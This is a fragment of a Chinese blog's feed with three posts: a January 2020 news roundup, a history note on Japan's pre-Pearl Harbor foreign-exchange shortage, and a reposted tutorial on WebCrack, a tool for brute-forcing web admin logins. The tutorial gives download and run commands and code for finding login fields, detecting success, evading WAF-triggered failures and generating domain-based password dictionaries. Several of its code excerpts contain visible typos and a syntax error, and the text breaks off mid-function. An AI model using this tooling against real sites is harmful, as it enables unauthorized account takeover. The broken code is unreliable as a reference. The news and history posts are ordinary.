<content type="html"><![CDATA[<h1 data-number="1" id="新闻"><span class="header-section-number">1</span> 新闻</h1><h2 data-number="1.1" id="蔡英文当选获得连任"><span class="header-section-number">1.1</span> 蔡英文当选获得连任</h2><p><img src="https://imgs.codewoody.com/uploads/big/93b05a2c7a9935cc6df5ce26784451fc.jpg"></p><p>1月11日,台湾举行2020年总统选举与立法委员选举。现任总统蔡英文以超过817万票的成绩成功连任,创下台湾总统选举史上最高得票数。本次台湾总统选举投票率为74.9%,蔡英文得票率超过57%。她的另外两位对手,来自国民党的韩国瑜与亲民党的宋楚瑜则分别获得超过552万票与60万票。</p><p>中国国台办发言人11日在结果出炉后表示,北京坚持“和平统一、一国两制”方针,愿意在坚持“九二共识”,反对“台独”的共同政治基础上,推动和平统一进程。</p><p>蔡英文在胜选讲话中称,这次选举结果说明,台湾人“选择了民主和进步的价值,选择了改革和团结的道路”。</p><h2 data-number="1.2" id="南京邮电大学硕士在实验室自焚"><span class="header-section-number">1.2</span> 南京邮电大学硕士在实验室自焚</h2><p>南京邮电大学1月5日发布情况通报:2019年12月26日晨,学校发现材料学院2017级一硕士研究生意外死亡。学校立即成立专门工作组,全力配合相关部门做好事件调查及家属安抚等善后工作。</p><p>对调查过程中反映出的该同学导师张某的相关问题,2020年1月1日,学校已依据相关规定,取消张某研究生导师资格,并根据学生意愿将张某指导的在读研究生全部转由其他导师指导,后续调查处理正在进行中。 有网友称,该学生被导师谩骂和压榨、人格侮辱、不给改论文、还被要求签延期毕业,因而选择结束生命。网传消息称,2019年12月26日凌晨,南京邮电大学实验室附近发生火灾,后发现火灾现场有一具尸体。</p><p>红星新闻记者通过天眼查发现,涉事导师张某名下现存两家公司,一家在南京,一家在长春。目前位于长春的公司显示为注销状态。张某分别为两家公司的法人和股东、监事。</p><h2 data-number="1.3" id="美伊冲突"><span class="header-section-number">1.3</span> 美伊冲突</h2><ul><li>7 日,苏莱曼尼葬礼上发生踩踏事件,多人丧生。<a href="https://cn.reuters.com/article/iran-press-tv-soleimani-funeral-0107-idCNKBS1Z610W?feedType=RSS&feedName=CNTopGenNews" target="_blank" rel="noopener">source</a></li><li>7 日,特朗普收回之前的威胁内容,称他将遵守国际法规定,避免在军事打击中将文化遗址作为目标。<a href="https://cn.reuters.com/article/iraq-security-trump-cutural-sites-0108-idCNKBS1Z7051?feedType=RSS&feedName=CNTopGenNews" target="_blank" rel="noopener">source</a></li><li>7 日凌晨,驻扎在伊拉克的 120 名德国士兵中,32 名撤离伊拉克。<a href="https://www.dw.com/zh/32名德国士兵撤离伊拉克/a-51919328?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>美国国防部确认,7 日,至少两个美国驻伊拉克的军营被超过 10 枚导弹击中,伤亡情况目前未知。<a href="http://www.bbc.com/zhongwen/simp/world-51029691" target="_blank" rel="noopener">source</a>。革命卫队警告美国若就导弹袭击进行报复,将遭致新的回应。<a href="https://cn.reuters.com/article/iran-warning-0108-wedn-idCNKBS1Z70KI?feedType=RSS&feedName=CNTopGenNews" target="_blank" rel="noopener">source</a></li><li>8 日,一家乌克兰国际航空的波音 737-800 客机从德黑兰机场起飞后不久坠毁,机上 180 人恐无一生还。<a href="http://www.bbc.com/zhongwen/simp/world-51030121" target="_blank" rel="noopener">source</a>。RT的报道称,机场官员表示引擎起火导致了该乌克兰航班飞机坠毁。并且这一报道还提到,机上乘客大部分是伊朗人。<a href="https://www.rt.com/news/477693-engine-catching-fire-crash/?utm_source=rss&utm_medium=rss&utm_campaign=RSS" target="_blank" rel="noopener">source</a></li><li>美国和加拿大怀疑伊朗导弹误击是导致乌克兰航班 737-800 坠毁的原因。<a href="https://www.dw.com/zh/美加怀疑伊朗导弹误击客机-德黑兰控心理战/a-51947796?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>众议院投票通过限制特朗普进攻伊朗的法案。<a href="https://www.rt.com/usa/477848-congress-iran-war-powers-vote/?utm_source=rss&utm_medium=rss&utm_campaign=RSS" target="_blank" rel="noopener">source</a></li><li>9 日,特朗普表示,北约应该扩大在中东地区的军事存在<span class="foot-note-span">【不过北约在欧洲的主要国家对于本次特朗普去招惹伊朗基本态度比较负面,没有站出来为特朗普说话。特朗普想把北约拉下来趟这趟浑水是不太可能成功的。】</span>。<a href="http://sputniknews.cn/military/202001101030419786/" target="_blank" rel="noopener">source</a></li><li>9 日,伊拉克召见了伊朗大使,表示不接受袭击驻伊军事基地的做法,并将这一行为视为侵犯了伊拉克的主权。<a href="https://cn.reuters.com/article/iraq-security-iran-diplomacy-0109-idCNKBS1Z9015?feedType=RSS&feedName=CNTopGenNews" target="_blank" rel="noopener">source</a></li><li>11 日,伊朗方面承认意外击落乌克兰客机。<a href="http://www.bbc.com/zhongwen/simp/world-51073948" target="_blank" rel="noopener">source</a></li><li>伊朗爆发反哈梅内伊的游行,谴责政府就乌克兰坠机撒谎。<a href="http://www.bbc.com/zhongwen/simp/world-51081175" target="_blank" rel="noopener">source</a></li></ul><h2 data-number="1.4" id="其他"><span class="header-section-number">1.4</span> 其他</h2><h3 data-number="1.4.1" id="国内"><span class="header-section-number">1.4.1</span> 国内</h3><ul><li>1 月 9 日,中国自然资源部发布文件称,将全面向内外资企业开放油气勘探与开采的权限。该文件的正式名称为《关于推进矿产资源管理改革若干事项的意见(试行)》,将于今年5月1日生效。根据这个文件,在中国境内注册净资产不低于3亿人民币的国内外公司,均有资格取得油气矿业权。<a href="https://www.dw.com/zh/%E4%B8%AD%E5%9B%BD%E5%90%91%E5%A4%96%E4%BC%81%E7%A7%81%E4%BC%81%E5%BC%80%E6%94%BE%E6%B2%B9%E6%B0%94%E5%B8%82%E5%9C%BA/a-51942606?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>1 月 11 日,据中央纪律监督委员会周六(1月11日)公布的消息,中国国家开发银行原党委书记兼董事长胡怀邦因严重违法违纪被开除党籍。<a href="https://www.dw.com/zh/中国金融高官胡怀邦落马/a-51966821?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li></ul><h3 data-number="1.4.2" id="国际"><span class="header-section-number">1.4.2</span> 国际</h3><ul><li>当地时间5日,委内瑞拉总统马杜罗政府接管委内瑞拉立法机构,宣示自己的候选人当选国民议会议长。</li><li>卡洛斯•戈恩被禁止离开黎巴嫩,在贝鲁特,法官加桑•奥瓦达特(Ghassan Owaidat)传召戈恩出庭,涉及国际刑警组织有过讯问和拘留他的非约束性请求,以及与他访问以色列有关的一起诉讼;按照黎巴嫩法律,访问以色列严格来说是非法的。。<a href="http://www.ftchinese.com/story/001085867" target="_blank" rel="noopener">source</a></li><li>美国众议长佩洛西不顾本党议员日益强烈的压力,重申她不会向参议院提交弹劾条款。佩洛西一直没有向参议院提交弹劾条款,此举意在向参议院共和党领袖米奇•麦康奈尔(Mitch McConnell)施压,要求在审理期间允许传唤新的证人和提交新的证据。<a href="http://www.ftchinese.com/story/001085866" target="_blank" rel="noopener">source</a></li><li>10 日,佩洛西表示民主党占多数席位的众议院最早将于下周向参议院提交针对总统特朗普的正式弹劾指控,为一场他期待已久的弹劾审判奠定基础。<a href="https://cn.reuters.com/article/us-house-pelosi-trump-impeachment-0111-idCNKBS1ZA01U?feedType=RSS&feedName=CNTopGenNews" target="_blank" rel="noopener">source</a></li><li>8 日,印度 10 个全国性工会组织宣称于当天组织了 2.5 亿人举行大罢工。据《今日印度》报道,工会要求政府取消对国企进行私有化等一系列“反工人阶级、反人民和反民族的政策”,指责劳工部门没能满足工人诉求,同时还谴责日前在尼赫鲁大学发生的暴力事件。<a href="http://www.nbd.com.cn/articles/2020-01-09/1399294.html" target="_blank" rel="noopener">source</a></li></ul><h3 data-number="1.4.3" id="科技"><span class="header-section-number">1.4.3</span> 科技</h3><ul><li>估值40亿美元、被美国制裁的中国人脸识别技术企业旷视科技(Megvii)扫清了赴港上市的一大障碍,使其筹资额达5亿美元的首次公开发行(IPO)回归正轨。<a href="http://www.ftchinese.com/story/001085816" target="_blank" rel="noopener">source</a></li><li>7 日,特斯拉在上海的特斯拉超级工厂举行「中国制造 Model 3 首批社会车主交付仪式」,这是特斯拉第一次向社会用户大规模交付中国制造 Model 3,上海市各级政府领导、特斯拉首席执行官埃隆 · 马斯克,以及特斯拉中国管理团队出席了本次活动。<a href="https://sspai.com/post/58324" target="_blank" rel="noopener">source</a></li></ul>]]></content>
<summary type="html">
<p><img src="https://imgs.codewoody.com/uploads/big/93b05a2c7a9935cc6df5ce26784451fc.jpg"></p>
</summary>
<category term="Weekly" scheme="http://www.codewoody.com/categories/Weekly/"/>
<category term="杂谈" scheme="http://www.codewoody.com/tags/%E6%9D%82%E8%B0%88/"/>
<category term="科技新闻" scheme="http://www.codewoody.com/tags/%E7%A7%91%E6%8A%80%E6%96%B0%E9%97%BB/"/>
<category term="转载" scheme="http://www.codewoody.com/tags/%E8%BD%AC%E8%BD%BD/"/>
<category term="Weekly" scheme="http://www.codewoody.com/tags/Weekly/"/>
</entry>
<entry>
<title>关于珍珠港事件前日本外汇枯竭的考证</title>
<link href="http://www.codewoody.com/posts/49957/"/>
<id>http://www.codewoody.com/posts/49957/</id>
<published>2020-01-06T02:41:29.000Z</published>
<updated>2020-01-22T05:23:13.929Z</updated>
<content type="html"><![CDATA[<p>在日本偷袭珍珠港事件以前,日本大量从美国尽快必要的战争物资,尤其是石油。在珍珠港事件之前,美国开始执行对日本的物资禁运。很多人因此认为,如果日本不去作这个死,集中全力去解决中国问题,那么抗战胜负,未可知也。</p><p>但大多数普通人不知道的是,事实上到 1941 年日本的外汇储备已经枯竭。也就是说,即便美国不去制裁日本,日本也不会有钱去找美国购买至关重要的战略物资(如石油,橡胶等)。在这种情况下,日本铤而走险,抢占法国、荷兰在东南亚的殖民地以获取战略物资(例如法属印度支那的橡胶和婆罗洲的油田,还包括粮食、铁、有色金属等)就成了无可奈何的必然选择。日本的外汇枯竭,事实上是日本侵略中国导致国力日渐枯竭的后果。这篇文章主要就这一问题进行考证。</p><h1 data-number="1" id="外汇枯竭"><span class="header-section-number">1</span> 外汇枯竭</h1><p>知乎上一个<a href="https://www.zhihu.com/question/284203566" target="_blank" rel="noopener">高赞回答</a>提到了这个问题。</p><blockquote><p>其实原因很明显:日本侵华亏惨了老本,经济濒临崩溃,购买石油、粮食等战略物资的能力已近于枯竭,到1941年,按美国驻日大使的说法,日本可用于支付的外汇只相当于2万德国马克。(约瑟夫。C。格鲁《使日十年》)</p></blockquote><blockquote><p>在中文网络上,搜索关于1941年日本外汇储备的情况也几乎都能追溯到这个引用。不过这个引用细究一下有点奇怪。作者约瑟夫·C·格鲁是美国驻日大使,日本政府的财政状况,他何以清楚呢?毕竟当年不是现在,日本政府、军部应该不会定期公开发布全面的财政报告。</p></blockquote><p><a href="https://book.douban.com/subject/1479333/" target="_blank" rel="noopener">《使日十年》(<i>Ten Years in Japan</i>)</a>,是 1932 年至 1942 年间担任美国驻日大使<a href="https://zh.wikipedia.org/wiki/%E7%BA%A6%E7%91%9F%E5%A4%AB%C2%B7%E6%A0%BC%E9%B2%81" target="_blank" rel="noopener">约瑟夫-C-格鲁(Joseph Clark Grew)</a>的日记及公私文件摘录。该书的英文原版可以在<a href="https://archive.org/details/TenYearsInJapan/page/n327" target="_blank" rel="noopener">这个链接</a>查看。在该链接中,<a href="https://archive.org/details/TenYearsInJapan/page/n399" target="_blank" rel="noopener">第399页</a>,章节 Frozen credits bring japan close to bankruptcy写道:</p><blockquote><p>October 9, 1941</p><p>According to information received by a member of my staff from what is regarded as a very reliable source, <strong>the amount of foreign exchange available to the Japanese Government now is approximately 20,000 reichsmarks</strong>, and under the circumstances the Japanese Government will be unable to avoid defaulting on contracts calling for foreign exchange on maturity. The freezing regulations which were put into effect by the United States, Great Britain, and the Netherlands East Indies have completely cut off any exchange transactions in the currencies of those countries, and in addition have greatly reduced transactions in the currencies of South American countries. According to this information, his own contracts involve foreign exchange totalling approximately five million Swedish kronen, and during recent months Japanese purchases of Swedish goods have been primarily financed through Berlin, persumably through German advanced credits.</p><p>The Japanese have been informed recently by the Germans that these credits are now frozen and are to used only to purchase of German goods. According to our informant it is possible that this action by the Germans was taken in anticipation of Japan's withdrawal from the Axis. According to another soure it is believed that since Sweden is heavily indebted to Germany for armaments, the Germans are now demanding in return from Sweden goods instead of Swedish kronen. Reports are current here that Japan is now eighty million marks in debt to Germany.</p><p>In actual fact Japan is now in virtually the same embarrassing position from the point of view of international finance as are designated foreigners in this country.</p></blockquote><p>这里,作者直接提到了,根据十分可靠的信息来源,日本政府的外汇储备大约是两万德国马克,日本将无力支付外汇合同。由美国,英国和荷兰东印度公司联合制定的冻结条款阻止了日本获得这些国家的货币储备,同时也削弱了日本和南美国家的交易。近几个月以来,日本和瑞士方面的价值五百万瑞士克朗的订单主要在依靠德国的贷款进行支付。不过近期德国告知日本方面日本的贷款也被冻结,而且贷款只能用于从德国购买商品。目前日本已经欠了德国大约八百万马克。这意味着日本的财政即将崩溃。</p><p>一些其他有意思的发现(下面的页码都是前面给出的英文原版链接中的页码):</p><ol type="1"><li>第 326 页: 1941 年,大使已经听到了很多谈论日本将会对珍珠港发动大规模的突然袭击的说法,并且报告了政府。原文是: <i>There is a lot of talk around town to the effect that the Japanese, in case of a break with the United States, are planning to go all out in a surprise attack on Pearl Harbour. Of course I informed our Government.</i></li></ol>]]></content>
<summary type="html">
<p>在日本偷袭珍珠港事件以前,日本大量从美国尽快必要的战争物资,尤其是石油。在珍珠港事件之前,美国开始执行对日本的物资禁运。很多人因此认为,如果日本不去作这个死,集中全力去解决中国问题,那么抗战胜负,未可知也。</p>
<p>但大多数普通人不知道的是,事实上到 1941 年日本
</summary>
<category term="考证" scheme="http://www.codewoody.com/tags/%E8%80%83%E8%AF%81/"/>
<category term="历史" scheme="http://www.codewoody.com/tags/%E5%8E%86%E5%8F%B2/"/>
</entry>
<entry>
<title>[转载]网站后台爆破工具: WebCrack</title>
<link href="http://www.codewoody.com/posts/28945/"/>
<id>http://www.codewoody.com/posts/28945/</id>
<published>2020-01-02T04:57:07.000Z</published>
<updated>2020-01-02T06:45:23.979Z</updated>
<content type="html"><![CDATA[<p>这是一篇转载的文章。文章来源是:<a href="https://zhuanlan.zhihu.com/p/89205738" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/89205738</a></p><h1 data-number="1" id="webcrack-简介"><span class="header-section-number">1</span> WebCrack 简介</h1><p>WebCrack 是一款开源免费的web后台弱口令/万能密码批量爆破、检测工具。</p><p>不仅支持如discuz,织梦,phpmyadmin等主流CMS的后台爆破,并且对于绝大多数小众CMS甚至个人开发网站后台都有效果,只需在工具中导入后台地址即可进行自动化检测。</p><h1 data-number="2" id="使用方法"><span class="header-section-number">2</span> 使用方法</h1><h2 data-number="2.1" id="下载"><span class="header-section-number">2.1</span> 下载</h2><p>GitHub 项目: <a href="https://github.com/yzddmr6/WebCrack" target="_blank" rel="noopener">https://github.com/yzddmr6/WebCrack</a>。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/yzddmr6/WebCrack</span><br></pre></td></tr></table></figure><h2 data-number="2.2" id="安装所需依赖"><span class="header-section-number">2.2</span> 安装所需依赖</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip3 install -r requirements.txt</span><br></pre></td></tr></table></figure><h2 data-number="2.3" id="运行脚本"><span class="header-section-number">2.3</span> 运行脚本</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> python webcrack.py </span></span><br><span class="line">*****************************************************</span><br><span class="line">* * </span><br><span class="line">**************** Code By yzddMr6 ***************</span><br><span class="line">* *</span><br><span class="line">*****************************************************</span><br><span class="line">File or Url:</span><br></pre></td></tr></table></figure><p>输入文件名则进行批量爆破,输入 URL 则进行单域名爆破。</p><h2 data-number="2.4" id="自定义配置"><span class="header-section-number">2.4</span> 自定义配置</h2><p>在 <code>cms.json</code>里面可以进行自定义配置</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> <span class="attr">"name"</span>: <span class="string">"这是cms的名称"</span>,</span><br><span class="line"> <span class="attr">"keywords"</span>: <span class="string">"这里是cms后台页面的关键字,是识别cms的关键"</span>,</span><br><span class="line"> <span class="attr">"captcha"</span>: <span class="string">"1 为后台有验证,0 为没有。因为此版本并没有处理验证码,所以为 1 则退出爆破"</span>,</span><br><span class="line"> <span class="attr">"exp_able"</span>: <span class="string">"是否启用万能密码模块爆破"</span>,</span><br><span class="line"> <span class="attr">"success_flag"</span>: <span class="string">"登录成功过后的关键字"</span>,</span><br><span class="line"> <span class="attr">"fail_flag"</span>: <span class="string">"请谨慎填写此项。如果填写此项,遇到里面的关键字就会退出爆破,用于 dz 等对于爆破有次数限制的cms"</span>,</span><br><span class="line"> <span class="attr">"alert"</span>: <span class="string">"若为 1 则会打印下面的 note 内容"</span>,</span><br><span class="line"> <span class="attr">"note"</span>: <span class="string">"请保证本文件是 UTF 格式,并且请勿删除此说明"</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>文件里面给出了集中常见的 cms 的配置方案,可进行参考。</p><h1 data-number="3" id="原理分析"><span class="header-section-number">3</span> 原理分析</h1><p>根据我们平时使用burpsuite中的爆破的原理,可知webcrack的爆破原理与其差异不大,自动分析找到爆破点、带入字典进行匹配、判断是否成功。</p><h2 data-number="3.1" id="寻找爆破点"><span class="header-section-number">3.1</span> 寻找爆破点</h2><p>根据提取到的参数名来匹配用户名和密码的位置(缺陷:可能不包含在已设定的选项中)</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> content.find_all(<span class="string">'input'</span>):</span><br><span class="line"> ok_flag = <span class="number">0</span></span><br><span class="line"> <span class="keyword">if</span> x.has_attr(<span class="string">'name'</span>):</span><br><span class="line"> parameter = x[<span class="string">'name'</span>]</span><br><span class="line"> <span class="keyword">elif</span> x.has_attr(<span class="string">'id'</span>):</span><br><span class="line"> parameter = x[<span class="string">'id'</span>]</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> parameter = <span class="string">''</span></span><br><span class="line"> <span class="keyword">if</span> x.has_attr(<span class="string">'value'</span>):</span><br><span class="line"> value = x[<span class="string">'value'</span>]</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> value = <span class="string">'0000'</span></span><br><span class="line"> <span class="keyword">if</span> paramter:</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> user_key:</span><br><span class="line"> <span class="keyword">for</span> z <span class="keyword">in</span> [<span class="string">'user'</span>, <span class="string">'name'</span>, <span class="string">'zhanghao'</span>, <span class="string">'yonghu'</span>, <span class="string">'email'</span>,.<span class="string">'account'</span>]:</span><br><span class="line"> <span class="keyword">if</span> z <span class="keyword">in</span> paramter.lower():</span><br><span class="line"> value = <span class="string">'{username}'</span></span><br><span class="line"> user_key = parameter</span><br><span class="line"> ok_flag = <span class="number">1</span></span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> ok_flag:</span><br><span class="line"> <span class="keyword">for</span> y <span class="keyword">in</span> [<span class="string">'pass'</span>, <span class="string">'pw'</span>, <span class="string">'mima'</span>]:</span><br><span class="line"> <span class="keyword">if</span> y <span class="keyword">in</span> parameter.lower():</span><br><span class="line"> value = <span class="string">'{pass_word}'</span></span><br><span class="line"> pass_key = parameter</span><br><span class="line"> ok_flag = <span class="number">1</span></span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> data[parameter] = str(value)</span><br></pre></td></tr></table></figure><h2 data-number="3.2" id="判断是否成功"><span class="header-section-number">3.2</span> 判断是否成功</h2><p>原理就是先对两个错误请求的返回值进行比较,如果不同,则无法进行判断,退出爆破;如果相同,则记录下来作为判断的标准。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_error_length</span><span class="params">(conn, path, data)</span>:</span></span><br><span class="line"> data1 = data</span><br><span class="line"> cookie_error_flag = <span class="number">0</span></span><br><span class="line"> dynamic_reg_len = <span class="number">0</span></span><br><span class="line"> data2 = str(data1.replace(<span class="string">'%7Buser_name%7D'</span>, <span class="string">'admin'</span>))</span><br><span class="line"> data2 = str(data2.replace(<span class="string">'%7Bpass_word%7D'</span>, <span class="string">'length_test'</span>))</span><br><span class="line"> res_test = conn.post(url=path, data=data2, headers=random_headers(), timeout=<span class="number">10</span>, verify=<span class="keyword">False</span>,</span><br><span class="line"> allow_redirects=<span class="keyword">True</span>, proxies=requests_proxies()) <span class="comment"># 先请求一次</span></span><br><span class="line"> res_02 = conn.post(url=path, data=data2, headers=random_headers(), timeout=<span class="number">10</span>, verify=<span class="keyword">False</span>,</span><br><span class="line"> allow_redirects=<span class="keyword">True</span>, proxies=requests_proxies())</span><br><span class="line"> res_02.encoding = res_02.apparent_encoding</span><br><span class="line"> res = conn.post(url=path, data=data2, headers=random_headers(), timeout=<span class="number">10</span>, verify=<span class="keyword">False</span>, allow_redirects=<span class="keyword">True</span>,</span><br><span class="line"> proxies=requests_proxies())</span><br><span class="line"> res.encoding = res.apparent_encoding</span><br><span class="line"> error_length_02 = len(res_02.text + str(res_02.headers))</span><br><span class="line"> error_length = len(res.text + str(res.headers))</span><br><span class="line"> <span class="keyword">if</span> error_length_02 != error_length:</span><br><span class="line"> cookies_error_flag = <span class="number">1</span></span><br><span class="line"> <span class="keyword">return</span> error_length, cookie_error_flag, dynamic_req_len</span><br></pre></td></tr></table></figure><p>根据黑名单判断,出现黑名单中的情况判定为爆破失败</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fail_words = [<span class="string">'密码错误'</span>, <span class="string">'重试'</span>, <span class="string">'不正确'</span>, <span class="string">'密码有误'</span>,<span class="string">'不成功'</span>, <span class="string">'重新输入'</span>, <span class="string">'history.back'</span>, <span class="string">'不存在'</span>, <span class="string">'登录失败'</span>, <span class="string">'登陆失败'</span>,<span class="string">'出错'</span>, <span class="string">'已被锁定'</span>,<span class="string">'history.go'</span>,<span class="string">'安全拦截'</span>,<span class="string">'还可以尝试'</span>,<span class="string">'无效'</span>,<span class="string">'攻击行为'</span>,<span class="string">'创宇盾'</span>, <span class="string">'非法'</span>,<span class="string">'百度云加速'</span>,<span class="string">'安全威胁'</span>,<span class="string">'防火墙'</span>,<span class="string">'黑客'</span>, <span class="string">'不合法'</span>,<span class="string">'warning.asp?msg='</span>,<span class="string">'Denied'</span>]</span><br></pre></td></tr></table></figure><p>为了提高准确度,防止误报,还有重新检查的环节。就是再次把爆破出的帐号密码发送一次,将返回值与一个新的错误返回值进行对比,如果不同,则表示爆破成功。(为什么不使用前面记录下来的错误返回值进行对比,因为WAF的存在或其他因素的干扰会导致返回值的变化)</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">recheck</span><span class="params">(path, data, user_name, pass_word)</span>:</span></span><br><span class="line"> data1 = data</span><br><span class="line"> conn = requests.session()</span><br><span class="line"> pass_word = str(pass_word.replace(<span class="string">'{user}'</span>, user_name))</span><br><span class="line"></span><br><span class="line"> data_test = str(data1.replace(<span class="string">'%7Buser_name%7D'</span>, user_name))</span><br><span class="line"> data_test = str(data_test.replace(<span class="string">'%7Bpass_word%7D'</span>, <span class="string">'length_test'</span>))</span><br><span class="line"></span><br><span class="line"> data2 = str(data1.replace(<span class="string">'%7Buser_name%7D'</span>, user_name))</span><br><span class="line"> data2 = str(data2.replace(<span class="string">'%7Bpass_word%7D'</span>, pass_word))</span><br><span class="line"></span><br><span class="line"> res_01 = conn.post(url=path, data=data_test, headers=random_headers(), timeout=<span class="number">10</span>, verify=<span class="keyword">False</span>,</span><br><span class="line"> allow_redirects=<span class="keyword">False</span>, proxies=requests_proxies())</span><br><span class="line"> res_02 = conn.post(url=path, data=data2, headers=random_headers(), timeout=<span class="number">10</span>, verify=<span class="keyword">False</span>,</span><br><span class="line"> allow_redirects=<span class="keyword">False</span>, proxies=requests_proxies())</span><br><span class="line"> res_01.encoding = res_01.apparent_encoding</span><br><span class="line"> res_02.encoding = res_02.apparent_encoding</span><br><span class="line"> error_length_01 = len(res_01.text+str(res_01.headers))</span><br><span class="line"> error_length_02 = len(res_02.text+str(res_02.headers))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> error_length_01 == error_length_02:</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span></span><br></pre></td></tr></table></figure><h2 data-number="3.3" id="动态词典"><span class="header-section-number">3.3</span> 动态词典</h2><p>根据域名自动生成动态词典</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">gen_dynam_dic</span><span class="params">(url)</span>:</span></span><br><span class="line"> dynam_pass_dic = []</span><br><span class="line"> tmp_dic = []</span><br><span class="line"> suffix_dic = [<span class="string">''</span>, <span class="string">'123'</span>, <span class="string">'888'</span>, <span class="string">'666'</span>, <span class="string">'123456'</span>]</span><br><span class="line"> list1 = url.split(<span class="string">'/'</span>)</span><br><span class="line"> host = list1[<span class="number">2</span>].split(<span class="string">":"</span>)[<span class="number">0</span>]</span><br><span class="line"> compile_ip = re.compile(<span class="string">'^(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)$'</span>)</span><br><span class="line"> <span class="keyword">if</span> compile_ip.match(host):</span><br><span class="line"> check_ip = <span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> check_ip = <span class="number">0</span></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> check_ip:</span><br><span class="line"> list2 = host.split(<span class="string">"."</span>)</span><br><span class="line"> i = len(list2)</span><br><span class="line"> <span class="keyword">for</span> u <span class="keyword">in</span> range(i): <span class="comment"># 生成url字典1</span></span><br><span class="line"> list3 = list2[u:]</span><br><span class="line"> part = <span class="string">'.'</span>.join(list3)</span><br><span class="line"> <span class="keyword">if</span> (len(part) < <span class="number">5</span>):</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> dynam_pass_dic.append(part)</span><br><span class="line"> <span class="keyword">for</span> u <span class="keyword">in</span> range(i): <span class="comment"># 生成url字典2</span></span><br><span class="line"> list3 = list2[u]</span><br><span class="line"> <span class="keyword">if</span> len(list3) < <span class="number">5</span>:</span><br><span class="line"> <span 